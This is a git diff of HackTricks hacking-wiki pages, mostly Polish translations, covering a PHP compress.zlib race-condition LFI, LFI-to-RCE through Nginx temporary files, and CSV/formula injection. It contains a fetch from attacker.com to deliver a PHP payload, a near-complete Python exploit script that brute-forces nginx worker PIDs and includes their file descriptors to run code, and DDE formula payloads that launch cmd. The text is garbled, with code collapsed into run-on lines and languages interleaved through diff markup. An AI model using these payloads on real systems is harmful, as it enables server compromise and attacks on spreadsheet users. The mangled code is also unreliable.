<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -143,7 +118,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -10,30 +10,16 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### `compress.zlib://` i `PHP_STREAM_PREFER_STDIO`
|
||||
|
||||
Plik otwarty za pomocą protokołu `compress.zlib://` z flagą `PHP_STREAM_PREFER_STDIO` może kontynuować zapisywanie danych, które przychodzą do połączenia później do tego samego pliku.
|
||||
|
||||
Oznacza to, że wywołanie takie jak:
|
||||
To oznacza, że wywołanie takie jak:
|
||||
```php
|
||||
file_get_contents("compress.zlib://http://attacker.com/file")
|
||||
```
|
||||
|
@ -59,33 +45,21 @@ Atakujący sprawi, że **serwer ofiary otworzy połączenie, odczytując plik z
|
|||
|
||||
**Podczas** gdy **połączenie** jest nadal otwarte, atakujący **wykorzysta LFI, ładując plik tymczasowy**, który kontroluje.
|
||||
|
||||
Jednak w serwerze WWW istnieje sprawdzenie, które **zapobiega ładowaniu plików zawierających `<?`**. Dlatego atakujący wykorzysta **Warunek wyścigu**. W połączeniu, które jest nadal otwarte, **atakujący** **wyśle ładunek PHP PO** tym, jak **serwer WWW** **sprawdzi**, czy plik zawiera zabronione znaki, ale **PRZED** załadowaniem jego zawartości.
|
||||
Jednak w serwerze WWW istnieje sprawdzenie, które **zapobiega ładowaniu plików zawierających `<?`**. Dlatego atakujący wykorzysta **Warunek wyścigu**. W połączeniu, które jest nadal otwarte, **atakujący** **wyśle ładunek PHP PO** tym, jak **serwer WWW** **sprawdzi**, czy plik zawiera zabronione znaki, ale **PRZED załadowaniem jego zawartości**.
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź opis Warunku wyścigu i CTF w [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,132 +1,4 @@
|
|||
# LFI2RCE za pomocą plików tymczasowych Nginx
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Wrażliwa konfiguracja
|
||||
|
||||
[**Przykład z https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
* Kod PHP:
|
||||
|
||||
\`\`\`\`h\`
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (usunięty) ... \`\`\` Uwaga: Nie można bezpośrednio dołączyć \`/proc/34/fd/15\` w tym przykładzie, ponieważ funkcja \`include\` PHP rozwiązałaby ścieżkę do \`/var/lib/nginx/body/0000001368 (usunięty)\`, która nie istnieje w systemie plików. Ta drobna restrykcja może być na szczęście obejrzana przez pewną indykcję, jak: \`/proc/self/fd/34/../../../34/fd/15\`, co ostatecznie wykona zawartość usuniętego pliku \`/var/lib/nginx/body/0000001368\`. ## Pełny exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) za pomocą pomocy buforowania ciała klienta nginx # zobacz https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ po szczegóły URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # znajdź procesy robocze nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] znaleziono proces roboczy nginx: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # załaduj duże ciało klienta, aby wymusić nginx na utworzenie /var/lib/nginx/body/$X def uploader(): print('\[+] rozpoczynanie przesyłania') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```python
|
||||
def send_payload_worker(requests_session):
|
||||
while True:
|
||||
send_payload(requests_session)
|
||||
|
||||
def send_payload_multiprocess(requests_session):
|
||||
# Użyj wszystkich CPU do wysyłania ładunku jako treści żądania dla Nginx
|
||||
for _ in range(multiprocessing.cpu_count()):
|
||||
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
||||
p.start()
|
||||
|
||||
def generate_random_path_prefix(nginx_pids):
|
||||
# Ta metoda tworzy ścieżkę z losowej liczby komponentów ścieżki ProcFS.
|
||||
# Wygenerowana ścieżka będzie wyglądać jak /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
||||
path = ""
|
||||
component_num = random.randint(0, 10)
|
||||
for _ in range(component_num):
|
||||
pid = random.choice(nginx_pids)
|
||||
if random.randint(0, 1) == 0:
|
||||
path += f"/proc/{pid}/cwd"
|
||||
else:
|
||||
path += f"/proc/{pid}/root"
|
||||
return path
|
||||
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
||||
nginx_pid_list = list(nginx_pids)
|
||||
while True:
|
||||
path = generate_random_path_prefix(nginx_pid_list)
|
||||
path += f"/proc/{nginx_pid}/fd/{fd}"
|
||||
try:
|
||||
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
||||
except:
|
||||
continue
|
||||
# Flagi są formatowane jako hxp{}
|
||||
if "hxp" in d:
|
||||
print("Znaleziono flagę! ")
|
||||
print(d)
|
||||
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
||||
# Skanuj FD Nginx w zakresie 10 - 45 w pętli.
|
||||
# Ponieważ pliki i gniazda ciągle się zamykają - bardzo często zdarza się, że FD treści żądania otwiera się w tym zakresie
|
||||
for fd in range(10, 45):
|
||||
thread = threading.Thread(target=read_file, args=(requests_session, nginx_pid, fd, nginx_pids))
|
||||
thread.start()
|
||||
|
||||
def read_file_multiprocess(requests_session, nginx_pids):
|
||||
for nginx_pid in nginx_pids:
|
||||
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
||||
p.start()
|
||||
|
||||
if __name__ == "__main__":
|
||||
print('\[DEBUG] Tworzenie sesji żądań')
|
||||
requests_session = create_requests_session()
|
||||
print('\[DEBUG] Pobieranie pidów Nginx')
|
||||
nginx_pids = get_nginx_pids(requests_session)
|
||||
print(f'\[DEBUG] Pidy Nginx: {nginx_pids}')
|
||||
print('\[DEBUG] Rozpoczynanie wysyłania ładunku')
|
||||
send_payload_multiprocess(requests_session)
|
||||
print('\[DEBUG] Rozpoczynanie czytania fd')
|
||||
read_file_multiprocess(requests_session, nginx_pids)
|
||||
```
|
||||
```
|
||||
|
||||
## Labs
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||||
|
||||
## References
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
|
||||
|
||||
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
|
||||
|
||||
You can check their website and try their engine for **free** at:
|
||||
|
||||
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
|
||||
# LFI2RCE via Nginx temp files
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -137,10 +9,66 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Vulnerable configuration
|
||||
|
||||
[**Przykład z https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
* Kod PHP:
|
||||
```php
|
||||
|
||||
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
|
||||
|
||||
```
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
|
||||
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
|
||||
|
||||
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
|
||||
|
||||
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
|
||||
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
|
||||
|
||||
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
|
||||
|
||||
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
|
||||
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
```
|
||||
## Laboratoria
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||||
|
||||
## Odniesienia
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
||||
|
|
|
@ -1,39 +1,31 @@
|
|||
# Formula/CSV/Doc/LaTeX/GhostScript Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Formula Injection
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
### Info
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Wstrzykiwanie formuły
|
||||
|
||||
### Informacje
|
||||
|
||||
Jeśli twój **input** jest **odzwierciedlany** w **plikach CSV** (lub jakichkolwiek innych plikach, które prawdopodobnie będą otwierane przez **Excel**), możesz być w stanie wprowadzić **formuły** Excel, które będą **wykonywane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excel.
|
||||
Jeśli twój **input** jest **odzwierciedlany** w **plikach CSV** (lub jakichkolwiek innych plikach, które prawdopodobnie będą otwierane przez **Excel**), możesz być w stanie wprowadzić **formuły** Excela, które będą **wykonywane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excela.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Obecnie **Excel będzie ostrzegać** (wielokrotnie) **użytkownika, gdy coś jest ładowane z zewnątrz Excel**, aby zapobiec działaniom złośliwym. Dlatego należy szczególnie skupić się na inżynierii społecznej w końcowym ładunku.
|
||||
Obecnie **Excel będzie ostrzegać** (wielokrotnie) **użytkownika, gdy coś jest ładowane z zewnątrz Excel**, aby zapobiec jego złośliwym działaniom. Dlatego należy szczególnie skupić się na inżynierii społecznej w końcowym ładunku.
|
||||
{% endhint %}
|
||||
|
||||
### [Lista słów](https://github.com/payloadbox/csv-injection-payloads)
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
```
|
||||
DDE ("cmd";"/C calc";"!A0")A0
|
||||
@SUM(1+9)*cmd|' /C calc'!A0
|
||||
|
@ -48,16 +40,16 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
|
||||
Poniższy przykład został zaczerpnięty z [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania danymi studentów, które zostało wykorzystane za pomocą ataku CSV injection. Głównym celem atakującego jest kompromitacja systemu używanego przez nauczycieli do zarządzania danymi studentów. Metoda polega na tym, że atakujący wstrzykuje złośliwy ładunek do aplikacji, w szczególności poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na dane studentów. Atak przebiega następująco:
|
||||
Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania danymi studentów, które zostało wykorzystane za pomocą ataku CSV injection. Głównym celem atakującego jest kompromitacja systemu używanego przez nauczycieli do zarządzania danymi studentów. Metoda polega na tym, że atakujący wstrzykuje złośliwy ładunek do aplikacji, wprowadzając szkodliwe formuły do pól przeznaczonych na dane studentów. Atak przebiega następująco:
|
||||
|
||||
1. **Wstrzyknięcie złośliwego ładunku:**
|
||||
* Atakujący przesyła formularz danych studenta, ale dodaje formułę powszechnie używaną w arkuszach kalkulacyjnych (np. `=HYPERLINK("<malicious_link>","Kliknij tutaj")`).
|
||||
* Ta formuła ma na celu utworzenie hiperłącza, ale wskazuje na złośliwy serwer kontrolowany przez atakującego.
|
||||
